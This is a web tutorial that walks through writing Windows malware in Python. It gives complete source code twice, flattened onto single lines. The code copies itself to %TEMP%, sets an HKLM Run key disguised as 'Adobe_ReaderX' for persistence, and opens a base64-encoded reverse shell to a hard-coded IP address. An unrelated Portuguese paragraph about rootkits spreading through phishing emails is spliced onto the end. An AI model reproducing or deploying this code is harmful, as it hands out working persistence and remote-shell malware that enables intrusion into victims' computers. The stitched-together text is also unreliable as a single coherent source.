This tutorial demonstrates some proof of concepts for creating
malware using Python and PyInstaller. In a previous tutorial we
demonstrated how to compile a Python script as a Portable Executable(PE)
using PyInstaller. Now lets demonstrate some quick proof of concept code to do some malicious actions on a Windows host.
Coding the Malware:
One of the most common things you’ll find with malware is it wanting
to gain persistence on the victim. There are loads of ways to achieve
persistence on Windows, one of the more common being to modify the
following registry key:
“Software\Microsoft\Windows\CurrentVersion\Run”. Below is a quick
screenshot of the Python code to copy the program to the %TEMP%
directory and then make a registry modification so this code will
execute when a user logs into the computer:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| import sys, base64, os, socket, subprocessfrom _winreg import *def autorun(tempdir, fileName, run):# Copy executable to %TEMP%: os.system('copy %s %s'%(fileName, tempdir))# Queries Windows registry for key values# Appends autorun key to runkey array key = OpenKey(HKEY_LOCAL_MACHINE, run) runkey =[] try: i = 0 while True: subkey = EnumValue(key, i) runkey.append(subkey[0]) i += 1 except WindowsError: pass# Set autorun key: if 'Adobe ReaderX' not in runkey: try: key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS) SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe") key.Close() except WindowsError: pass |
Now that we have copied this file over to the %TEMP% directory, and
setup persistence we can execute the next portion of the code, the
reverse shell. I leveraged a Python reverse shell released by TrustedSec and made one modification — Base64 encode the network traffic:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| def shell():#Base64 encoded reverse shell s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.56.1', int(443))) s.send('[*] Connection Established!') while 1: data = s.recv(1024) if data == "quit": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() encoded = base64.b64encode(stdout_value) s.send(encoded) #s.send(stdout_value) s.close()def main(): tempdir = '%TEMP%' fileName = sys.argv[0] run = "Software\Microsoft\Windows\CurrentVersion\Run" autorun(tempdir, fileName, run) shell()if __name__ == "__main__": main() |
Now when this program executes it will open up a reverse shell back
to the “attacker” which in this case is a hard coded IP in the script,
but it could easily be domain, or maybe something in the Amazon cloud.
Below is a quick screen shot demonstrating the program executing on a
Windows host and connecting back to the attacker. You can notice the
network traffic is base64 encoded:
Here is the full code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
| import sys, base64, os, socket, subprocessfrom _winreg import *def autorun(tempdir, fileName, run):# Copy executable to %TEMP%: os.system('copy %s %s'%(fileName, tempdir))# Queries Windows registry for the autorun key value# Stores the key values in runkey array key = OpenKey(HKEY_LOCAL_MACHINE, run) runkey =[] try: i = 0 while True: subkey = EnumValue(key, i) runkey.append(subkey[0]) i += 1 except WindowsError: pass# If the autorun key "Adobe ReaderX" isn't set this will set the key: if 'Adobe ReaderX' not in runkey: try: key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS) SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe") key.Close() except WindowsError: passdef shell():#Base64 encoded reverse shell s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.56.1', int(443))) s.send('[*] Connection Established!') while 1: data = s.recv(1024) if data == "quit": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() encoded = base64.b64encode(stdout_value) s.send(encoded) #s.send(stdout_value) s.close()def main(): tempdir = '%TEMP%' fileName = sys.argv[0] run = "Software\Microsoft\Windows\CurrentVersion\Run" autorun(tempdir, fileName, run) shell()if __name__ == "__main__": main() |
A recomendação é bastante simples, entretanto é preciso entender quais são os ambientes ideais para a “reprodução” e “difusão” de rootkits. Assim como a maioria dos vírus, trojans e várias outras pragas digitais, os rootkits se proliferam em emails e sites maliciosos como aqueles que imitam páginas da Receita Federal e bancos. Clicar em um desses emails pode ser perigoso sob vários aspectos. Além de poder roubar as suas informações pessoais, estes backdoors, rootkits e outros malwares dão acesso a quem souber invadir computadores.
